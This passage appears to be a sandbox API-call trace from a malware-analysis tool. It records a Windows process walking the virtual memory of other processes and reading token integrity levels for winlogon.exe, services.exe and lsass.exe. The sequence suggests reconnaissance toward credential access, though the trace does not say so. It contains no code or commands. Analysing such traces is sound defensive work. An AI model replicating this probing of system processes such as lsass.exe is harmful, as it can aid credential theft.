VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd3f0000, AllocationBase=0x7fe, AllocationProtect=0xfd3f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.247] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe123000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.247] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe124000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe124000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.247] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe125000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe125000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0074.247] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe127000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe127000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0074.247] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe12f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe12f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3f1000), ResultLength=0x0) returned 0x0 [0074.248] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefe520000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfe520000, AllocationBase=0x7fe, AllocationProtect=0xfe520000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.249] QueryFullProcessImageNameW (in: hProcess=0x198, dwFlags=0x0, lpExeName=0x19b9550, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x174fa50) returned 1 [0074.249] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x19b9550) returned 1 [0074.249] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.249] IsWow64Process (in: hProcess=0x198, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.249] NtQueryInformationProcess (in: ProcessHandle=0x198, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.249] GetProcessTimes (in: hProcess=0x198, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.249] OpenProcessToken (in: ProcessHandle=0x198, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.249] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.249] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.249] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.249] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.249] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.249] NtClose (Handle=0x2e8) returned 0x0 [0074.250] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.250] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.252] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1601000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1601000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x2c000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x162d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x162d000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x162e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x162e000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xd2000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1700000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1700000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1710000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1710000, AllocationBase=0x0, AllocationProtect=0x1710000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x6f000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x177f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x177f000, AllocationBase=0x0, AllocationProtect=0x1710000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1782000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1782000, AllocationBase=0x0, AllocationProtect=0x1710000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xe000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1790000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1790000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x50000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x17e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x17e0000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1e000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x17fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x17fe000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x17ff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x17ff000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x5c000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x185b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x185b000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x185f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x185f000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.253] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x1860000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x1860000, AllocationBase=0x0, AllocationProtect=0x1860000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2cf000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff70000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x14000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff84000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff85000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff87000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff89000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0xfff92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfff92000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xfa6ce000), ResultLength=0x0) returned 0x0 [0074.256] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefa660000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfa660000, AllocationBase=0x7fe, AllocationProtect=0xfa660000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.257] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefb2c1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfb2c1000, AllocationBase=0x7fe, AllocationProtect=0xfb2b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.258] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefb2c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfb2c2000, AllocationBase=0x7fe, AllocationProtect=0xfb2b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.258] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefb2c5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfb2c5000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xb000), ResultLength=0x0) returned 0x0 [0074.258] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefb2d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfb2d0000, AllocationBase=0x7fe, AllocationProtect=0xfb2d0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefba1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfba1f000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xc000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefba2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfba2b000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefba2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfba2d000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefba2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfba2e000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefba36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfba36000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xc4a000), ResultLength=0x0) returned 0x0 [0074.259] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc680000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc680000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc6bf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc6bf000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc6c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc6c0000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc6c1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc6c1000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc6c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc6c2000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc6c7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc6c7000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2b9000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc980000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc980000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc993000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc993000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc994000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc994000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefc997000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc997000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf9000), ResultLength=0x0) returned 0x0 [0074.260] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefca90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfca90000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.261] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefcabe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfcabe000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.261] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefcabf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfcabf000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.261] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefcac2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfcac2000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x48e000), ResultLength=0x0) returned 0x0 [0074.261] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x7fefcf50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfcf50000, AllocationBase=0x7fe, AllocationProtect=0xfcf50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.267] QueryFullProcessImageNameW (in: hProcess=0x180, dwFlags=0x0, lpExeName=0x17dbe80, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x174fa50) returned 1 [0074.267] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17dbe80) returned 1 [0074.267] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.267] IsWow64Process (in: hProcess=0x180, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.267] NtQueryInformationProcess (in: ProcessHandle=0x180, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.267] GetProcessTimes (in: hProcess=0x180, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.267] OpenProcessToken (in: ProcessHandle=0x180, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.267] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.268] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.268] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.268] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.268] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.268] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.268] NtClose (Handle=0x2e8) returned 0x0 [0074.268] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.268] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.286] QueryFullProcessImageNameW (in: hProcess=0x190, dwFlags=0x0, lpExeName=0x17dc680, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x174fa50) returned 1 [0074.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17dc680) returned 1 [0074.286] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.286] IsWow64Process (in: 